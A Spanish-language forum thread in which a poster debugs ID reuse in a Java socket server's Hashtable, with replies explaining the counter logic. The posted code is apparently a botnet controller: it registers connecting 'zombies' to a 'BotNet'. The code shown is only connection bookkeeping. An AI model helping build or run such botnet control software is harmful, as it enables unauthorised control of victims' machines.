Hola a todos, estoy depurando mi aplicacion de red... una tool util que pronto pondre en forma de source y binario en el foro.

Es una aplicacion cliente-servidor que usa sockets, threads y demas...

Bueno uso un sistema de enumeración para ordenarlos en la memoria y poder identificarlos.

La cosa esta en lo siguiente:

Cuando un cliente se conecta al servidor:

Añado 1 al contador (contador++;)

Cuando se desconecta, disminuyo 1 (contador--;)

Pero ocurre el siguiente fallo:

Si abro dos, les doy como id 1 y 2.

Si se va uno, disminuyo y el contador esta en 1 (contador - 1 = 2) y si entra otro se le asigna el 2, ahora tengo dos con el el identificador 2, y uno se remplaza al otro en la tabla de hash.

Me planteé hacerlo que nunca disminuya, pero ocurre el siguiente fallo, cuando quiero hacer un cast a todos, las id que se han desconectado pero sin embargo todavia estan registradas ya no tiene un objeto guardado y produce expeciones cosa mala.

Que puedo hacer?


Saludos

Y así es, el problema es que el contador no es lógico, segun mi punto de vista.
Me explico:
Debo inventar un sistema para que valla ocupando los puesto libres que van dejando los otros clientes.
Pero no me figuro como hacerlo.

Saludos

Era justo lo que necesitaba ^^

A veces necesito un empujoncito con la logica de algun algoritmo xD

Saludos

panaka, lo que ocurre es que el problema del post no es ese, su problema es que va llenando la tablahash y dado que utilizaba un contador, al disminuir el valor acumulado en este, se corría el riesgo de pisar "antiguos elementos" ... ej:

ID 1 2

Valor Objeto Objeto

Tabla por defecto ... Contador == 2

ID 1 2 3

Valor Objeto Objeto Objeto

Ingresa un elemento ... Contador == 3

ID 1 2 3

Valor - Objeto Objeto

Se va el elemento 1... Contador == 2

En esta situación, dado que el ingresa los nuevos elementos en el Contador+1, en el próximo ingreso se pisa el valor de 3, es decir, más allá de que se este trabajando con estructuras sincronicas o no, el problema es de lógica

Saludos

Exacto, lo que yo quiero es que llene el hueco que queda vacio, en este caso el id 1.

Pero no me figuro, porque he predefinido uno de los parametros de la hashtable como Socket, intente hacer lo que me aconsejasteis, cojer y meterle null cuando se desconectase, pero no me deja darle null, si pudiese darle null, luego recorreria todo el vector y veria cualos son null y devolveria un mapa con las vacias para que la secuencia escojiese la mas pequeña de esas y se lo autoasignase.

Pero no se darle null :s

Saludos

Saludos

Para hacerlo de esa manera, mejor usar hashTable jeje, mira voy a intentar algo asi:

HashTable<Integer, Integer> listanegra;

Si se desconecta un cliente, se añade a la lista negra y añade la key por orden, y el otro valor el id que deja libre, luego en cada asignacion de id, recorro la hashTable y cojo los valores libres que van quedando disponibles.

En teoria funcionaria no?


Pero se me presenta una duda, como hago para cojer siempre el valor libre mas pequeño?

Saludos

Nada que no sale, lo he intentado con un array y ahora con hashTable y nada:

Metodo de busqueda antes de asignar

while (true)
            {
            try {
 
                System.out.println("Esperando conexiones...");
 
                Socket zombie = socketServidor.accept();
                idZombie++;
                for(int i = 1; i < listaNegra.size(); i++)
                {
                    System.out.println(listaNegra.get(i));
                }
                if(listaNegra.isEmpty())
                {
 
 
                System.out.println("Nuevo zombie añadido a la BotNet: " + idZombie + "\n");
                vectorZombies.put(idZombie, zombie);
                nuevoZombie = new ControlBots(zombie, "Bienvenid@ a la red zombie!", idZombie);
                }else if(borrado)
                {
                System.out.println("Asignando un id disponible...\n");
                System.out.println("Nuevo zombie añadido a la BotNet: " + listaNegra.get(contador) + "\n");
                vectorZombies.put(listaNegra.get(contador), zombie);
                nuevoZombie = new ControlBots(zombie, "Bienvenid@ a la red zombie!",listaNegra.get(contador));
                }else{
                System.out.println("Nuevo zombie añadido a la BotNet: " + idZombie + "\n");
                vectorZombies.put(idZombie, zombie);
                nuevoZombie = new ControlBots(zombie, "Bienvenid@ a la red zombie!", idZombie);
                }
 
 
 
                nuevoZombie.start();
                Servidor.slider.setMaximum(idZombie);
                Servidor.numBots.setText(idZombie.toString());
                borrado = false;
 
 
            } catch (IOException ex) {
                Logger.getLogger(ThreadEjecución.class.getName()).log(Level.SEVERE, null, ex);
            }
 
 
            }
 

Metodo que uso cuando un cliente se desconecta:

System.out.println("ADIOS!");
            contador++;
            ThreadEjecución.listaNegra.put(contador, id);
 
            ThreadEjecución.RenovarDatos();
 
            ThreadEjecución.borrado = true;
 

Y todo bien, creo nuevos clientes, los tira adelante, pero cuando borro uno, y intento crear otro:

Exception in thread "Thread-1" java.lang.NullPointerException

Porqueeeeeee

Saludos

Ese vector no es mas que una lista negra donde voy metiendo los que se desconectan, meto un id sumatoria (1,2,3,4,5...) como key y el otro valor integer el id que queda libre para asignarle a otro.


Saludos